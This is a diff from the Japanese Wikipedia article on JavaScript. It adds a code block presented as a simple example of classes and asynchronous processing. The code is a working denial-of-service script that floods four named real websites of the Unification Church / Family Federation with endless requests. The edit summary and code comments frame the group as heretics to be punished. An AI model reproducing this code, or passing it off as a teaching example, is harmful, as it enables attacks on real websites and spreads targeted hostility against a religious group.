削除された内容 追加された内容
このソースコードに対して受けた指摘は、英語でMooniesと呼ばれる危険な反社会勢力の構成員または同調者からの脅迫であった可能性が極めて高いため復活させる。この反社会勢力は異端かつ反社会的な活動を行っていると社会的に広く認知されている。
タグ: 差し戻し済み
322行目:
</syntaxhighlight>
登場当初は、htmlの補助的なスクリプトとして、[[クラス (コンピュータ)|クラス]]や[[非同期転送モード|非同期処理]]などの処理が貧弱であったが、近年の[[Webアプリケーション]]の浸透に伴い、様々な機能が拡張された。
現在では、クラスの作成や非同期処理など、[[C Sharp|C#]]や[[Java]]でなければ実装できなかったものも手軽に実装できるようになっている。以下はクラスや非同期処理のごく単純な実装例である。
<syntaxhighlight lang="javascript">
// クラス名
class Cyber_Crusade {
 
// コンストラクタ
constructor(limit) {
// 1秒ごとの送信頻度を設定
this.CONCURRENCY_LIMIT = limit;
// 非同期関数を定義
this.fetchWithTimeout = this.fetchWithTimeout.bind(this); // リクエスト送信。
this.punish_heterodoxy = this.punish_heterodoxy.bind(this); // 各サイトにデータリクエストを送る。
}
 
// 対象のサイトを指定
heresy_sites = {
'https://ffwpu.jp/': { number_of_requests: 0, number_of_errored_responses: 0 }, // False prophet in Japan
'https://familyfed.org/': { number_of_requests: 0, number_of_errored_responses: 0 }, // False prophet in US
'http://www.smmoon.pl/': { number_of_requests: 0, number_of_errored_responses: 0 }, // False prophet in Poland
'https://www.ffwp.org/': { number_of_requests: 0, number_of_errored_responses: 0 }, // False prophet in Korea
};
 
// 1秒ごとの送信頻度
CONCURRENCY_LIMIT = 1000;
queue = [];
 
// リクエスト送信
async fetchWithTimeout(resource, options) {
// コントローラーを取得
const controller = new AbortController();
// IDを取得
const id = setTimeout(() => controller.abort(), options.timeout);
// リクエスト処理を返す。
return fetch(resource, {
method: 'GET', // GET方式
mode: 'no-cors', // CORS-safelisted methodsとCORS-safelisted request-headersだけを使ったリクエストを送る。
signal: controller.signal // オブジェクトのインスタンスを返
}).then((response) => { // 成功した場合
clearTimeout(id); // タイムアウトを消す。
return response; // 応答結果を返す。
}).catch((error) => { // 失敗した場合
console.log(error.code); // エラーコードを出力
clearTimeout(id); // タイムアウトを消す。
throw error; // エラーを投げる。
});
}
 
// 各ターゲットにデータ送信する。
async punish_heterodoxy(target) {
//for文を使った無限ループ
for (var i = 0;; ++i) {
// リクエストの数が規定数になったら
if (this.queue.length > this.CONCURRENCY_LIMIT) {
// 最初のリクエストを削除する。
await this.queue.shift()
}
// 乱数を生成
var rand = i % 3 === 0 ? '' : ('?' + Math.random() * 2000)
// 送信リクエストを追加する。
this.queue.push(
// 関数を実行する(時間制限:1秒)
this.fetchWithTimeout(target+rand, { timeout: 1000 })
// エラーがある場合はエラーを取得する。
.catch((error) => {
if (error.code === 20 /* ABORT */) {
return;
}
this.heresy_sites[target].number_of_errored_responses++;
})
// 処理後の処理をする。
.then((response) => {
// エラーがある場合はエラー処理を入れる。
if (response && !response.ok) {
this.heresy_sites[target].number_of_errored_responses++;
}
// リクエスト数を追加する。
this.heresy_sites[target].number_of_requests++;
})
)
}
}
// 実行関数
inquisitio(){
// 全てのターゲット要素に対してデータ送信処理を実行する。
Object.keys(this.heresy_sites).map(this.punish_heterodoxy);
}
}
 
// オブジェクト呼び出し
var cyber_crusade = new Cyber_Crusade(500);
// 実行
cyber_crusade.inquisitio();
</syntaxhighlight>
 
=== その他の環境での利用 ===